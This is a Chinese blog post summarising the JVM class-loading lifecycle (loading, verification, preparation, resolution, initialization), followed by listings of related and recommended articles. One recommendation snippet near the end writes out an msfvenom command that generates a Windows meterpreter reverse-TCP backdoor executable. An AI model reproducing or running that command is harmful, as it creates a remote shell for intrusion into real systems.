一、概述

虚拟机把描述类的数据从Class文件加载到内存,并对数据进行校验、转换解析和初始化,最终形成可以被虚拟机直接使用的Java类型,这就是虚拟机的类加载机制。

二、类加载的生命周期

类从被加载到虚拟机内存中开始,到卸载出内存为止,它的整个生命周期包括:加载(Loading)、验证(Verification)、准备(Preparation)、解析(Resolution)、初始化(Initialization)、使用(Using)和卸载(Unloading)7个阶段。

其中:验证、准备、解析3个部分统称为连接(Linking)。

加载、验证、准备、初始化和卸载这5个阶段的顺序是确定的,类的加载过程必须按照这种顺序按部就班地开始,而解析阶段不一定:

在某些情况下可以在初始化阶段之后再开始,这是为了支持Java语言的运行时绑定(也称为动态绑定或晚期绑定),这里的 "按部就班开始"并不是链式进行,这些阶段通常是相互交叉地混合进行的,通常会在一个阶段执行的过程中调用、激活另外一个阶段。

三、类加载的过程

1. 加载

"加载" 是类加载过程的一个阶段。在加载阶段,虚拟机需要完成以下3件事情:

1)通过一个类的全限定名来获取定义此类的二进制字节流。

2)将这个字节流所代表的静态存储结构转化为方法区的运行时数据结构。

3)在内存中生成一个代表这个类的java.lang.Class对象,作为方法区这个类的各种数据访问入口。

加载阶段完成之后,虚拟机外部的二进制字节流就按照虚拟机所需的格式存储在方法区之中,方法区中的数据存储格式由虚拟机实现自定义,虚拟机规范为规定此区域的具体数据结构。然后在内存中实例化一个java.lang.Class类的对象(并没有明确规定是在Java堆中,对于HotSpot虚拟机而言,Class对象比较特殊,它虽然是对象,但是存放在方法区里面),这个对象将作为程序访问方法区中的这些类型数据的外部接口。

加载阶段与连接阶段的部分内容是交叉进行的,加载阶段尚未完成,连接阶段可能已经开始,当这些夹在加载阶段之中进行的动作,仍然属于连接阶段的内容,这两个阶段的开始时间仍然保持着固定的先后顺序。

2.验证

验证是连接阶段的第一步,这阶段的目的是为了确保Class文件的字节流中包含的信息符合当前虚拟机的要求,并且不会危害虚拟机自身的安全。

4个检验动作:

1)文件格式验证

  • 是否以魔数oxCAFEBABE开头
  • 主、次版本号是否在当前虚拟机处理范围内。
  • 常量池的常量中是否有不被支持的常量类型(检查常量tag标志)。
  • 指向常量的各种索引值中是否有指向不存在的常量或不符合类型的常量。
  • CONSTANT_Utf8_info型的常量中是否有不符合UTF8编码的数据。
  • Class文件中各个部分及文件本身是否有被删除的活附加的其他信息。
  • ……

2)元数据验证

  • 这个类是否有父类(除了java.lang.Object之外,所有的类都应当有父类)。
  • 这个类的父类是否继承了不允许被继承的类(被final修饰的类)。
  • 如果这个类不是抽象类,是否实现了其父类或接口之中要求实现的所有方法。
  • 类中的字段、方法是否与父类产生矛盾(例如覆盖了父类的final字段,后者出现不符合规则的方法重载,例如方法参数都一致,当返回值类型去不同等)。
  • ……

3)字节码验证

  • 保证任意时刻操作数栈的数据类型与指令代码序列都能配合工作,例如不会出现类似这样的情况:在操作栈放置了一个int类型的数据,使用时却按long类型来加载入本地变量中。
  • 保证跳转指令不会跳转带方法体以外的字节码指令上。
  • 保证方法体中的类型转换是有效的,例如可以把一个子类对象赋值给父类数据类型,但是把父类对象赋值给子类数据类型,甚至把对象赋值给与它毫无继承关系、完全不相干的一个数据类型,则是危险和不合法的。、
  • ……

4)符号引用验证

  • 符号引用中通过字符串描述的全限定名是否能找到对应的类。
  • 在制定类中是否存在符合方法的字段描述符以及简单名称所描述的方法和字段。
  • 符号引用中的类、字段、方法的访问性(private、protected、public、default)是否可被当前类访问。
  • ……

3.准备

准备阶段是为类变量分配内存并设置类变量初始值的阶段,这些变量所使用的内存都将在方法区中进行分配。

说明:这时候进行内存分配的仅包括类变量(静态变量,即被static修饰的变量),而不包括实际变量,实际变量将会在对象实例化时随着对象一起分配在Java堆中。

4.解析

虚拟机将常量池内的符号引用替换为直接引用的过程,符合引用在Class文件中以CONSTANT_Class_info、CONSTANT_Fieldref_info、CONSTANT_Methodref_info等类型的常量出现。

♦ 符号引用(Symbolic References)

符号引用以一组符号来描述所引用的目标,符号可以是任何形式的字面量,只要使用时能无歧义地定位到目标即可。符号引用与虚拟机实现的内存布局无关,引用的目标并不一定已经加载到内存中。各种虚拟机实现的内存布局可以不同,但是他们能接收的符号引用必须都是一致的,因为符号引用的字面量形式明确定义在Java虚拟机规范的Class文件格式中。

♦ 直接引用(Direct References)

直接引用可以是直接指向目标的指针、相对偏移量或是一个能间接定位到目标的句柄。直接引用是和虚拟机实现的内存布局相关的,同一个符号引用在不同虚拟机实例上翻译出来的直接引用一般不会相同。如果有了直接引用,那引用的目标必定已经在内存中存在。

5.初始化

执行类中定义的Java程序代码(或者说是字节码),初始化变量和其他资源。亦可以说是执行类构造器<clinit>()方法的过程。

四、同类随笔

Java虚拟机笔记(一):类加载机制

Java虚拟机笔记(二):GC垃圾回收

Java虚拟机笔记(三):垃圾收集算法

Java虚拟机笔记(四):垃圾收集器

Java虚拟机笔记(五):JVM中对象的分代

主要内容来自:《深入理解Java虚拟机:JVM高级特性与最佳实践》

Java虚拟机笔记(一):类加载机制的更多相关文章

  1. 《深入理解 Java 虚拟机》学习 -- 类加载机制

    <深入理解 Java 虚拟机>学习 -- 类加载机制 1. 概述 虚拟机把描述类的数据从 Class 文件加载到内存,并对数据进行校验.转换解析和初始化,最终形成可以被虚拟机直接使用的 J ...

  2. Java虚拟机笔记(五):JVM中对象的分代

    为什么要分代 为什么需要把堆分代?不分代不能完成他所做的事情么?其实不分代完全可以,分代的唯一理由就是优化GC性能.你先想想,如果没有分代,那我们所有的对象都在一块,GC的时候我们要找到哪些对象没用, ...

  3. Java虚拟机笔记(四):垃圾收集器

    前言 前一篇文章介绍了内存的垃圾收集算法,现在介绍下内存回收的具体实现--垃圾收集器. 由于Java虚拟机规范中对垃圾收集器应该如何实现并没有任何规定,因此不同的厂商,不同版本的虚拟机所提供的垃圾收集 ...

  4. Java虚拟机笔记(三):垃圾收集算法

    一.标记-清除(Mark-Sweep)算法 标记清除算法是最基础的收集算法,其他收集算法都是基于这种思想. 标记清除算法分为“标记”和“清除”两个阶段:首先标记出需要回收的对象,标记完成之后统一清除对 ...

  5. Java虚拟机笔记(二):GC垃圾回收和对象的引用

    为什么要了解GC 我们都知道Java开发者在开发过程中是不需要关心对象的回收的,因为Java虚拟机的原因,它会自动回收那些失效的垃圾对象.那我们为什么还要去了解GC和内存分配呢? 答案很简单:当我们需 ...

  6. 学习java虚拟机笔记

    虚拟机jvm 包括 类加载机制 ,运行时数据区域 运行时数据区域包括 ,程序计数器,虚拟机栈和本地方法栈,堆,方法区. 程序计数器是一块较小的内存控件, 用来指定当前字线程执行节码的行数 ,每个程序计 ...

  7. java学习笔记09--反射机制

    java学习笔记09--反射机制 什么是反射: 反射是java语言的一个特性,它允许程序在运行时来进行自我检查并且对内部的成员进行操作.例如它允许一个java的类获取他所有的成员变量和方法并且显示出来 ...

  8. (转)《深入理解java虚拟机》学习笔记6——类加载机制

    Java虚拟机类加载过程是把Class类文件加载到内存,并对Class文件中的数据进行校验.转换解析和初始化,最终形成可以被虚拟机直接使用的java类型的过程. 在加载阶段,java虚拟机需要完成以下 ...

  9. 深入理解Java虚拟机笔记——虚拟机类加载机制

    目录 概述 动态加载和动态连接 类加载的时机 类的生命周期 被动引用 例子一(调用子类继承父类的字段) 例子二(数组) 例子三(静态常量) 类加载的过程 加载 验证 准备 解析 符号引用 直接引用 初 ...

随机推荐

  1. [翻译] ValueTrackingSlider

    ValueTrackingSlider What is it? A UISlider Subclass that displays live values in a popUpView. It’s i ...

  2. Atom 绝赞插件

    文件图标: file-icons 根据不同文件后缀名显示不同类型图标 标签栏根据不同文件格式显示色彩: filetype-color 在标签栏不同格式文件显示不同的颜色的标题,支持二度设置. 小地图: ...

  3. 详解权限管理(RBAC)的实现方法

    在说权限管理前,应该先知道权限管理要有哪些功能: ().用户只能访问,指定的控制器,指定的方法 ().用户可以存在于多个用户组里 ().用户组可以选择,指定的控制器,指定的方法 ().可以添加控制器和 ...

  4. SMTP服务器设置

    Web.config中使用如下配置  <system.net>    <mailSettings>        <smtp from="info@site.c ...

  5. RTCM32编解码中的一些概念及相关文献阅读

    1. IODC和 IODE ——  导航电文相关.iode/iodc是在GPS系统的ICD2中定义的参数,iode指星历数据事件,iodc指星钟数据事件. IOD 是 issue of data ,数 ...

  6. jenkins webhook 配置

    1. 安装插件 系统管理"->"插件管理"->"可选插件",选择Gitlab Hook Plugin GitLab Plugin,Gitl ...

  7. 在Windows10中更改”WIN+E“快捷键打开目标

    1> 复制下面代码到记事本保存为launch.vbs 2> 然后打开Regedit.exe并创建以下注册表分支 HKCU:\Software\Classes\CLSID\{52205fd8 ...

  8. Fluent Terminal

    特性: PowerShell,CMD,WSL或自定义shell的终端 支持选项卡和多个窗口 主题和外观配置 导入/导出主题 导入iTerm主题 全屏模式 可编辑的键绑定 搜索功能 配置shell配置文 ...

  9. msf后渗透

    生成exe后门 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.31.131 lport=4444 -f exe -o 4444.e ...

  10. Core WebAPI 入门

    官方文档地址 https://docs.microsoft.com/zh-cn/aspnet/?view=aspnetcore-2.2#pivot=core 使用 ASP.NET Core 构建 We ...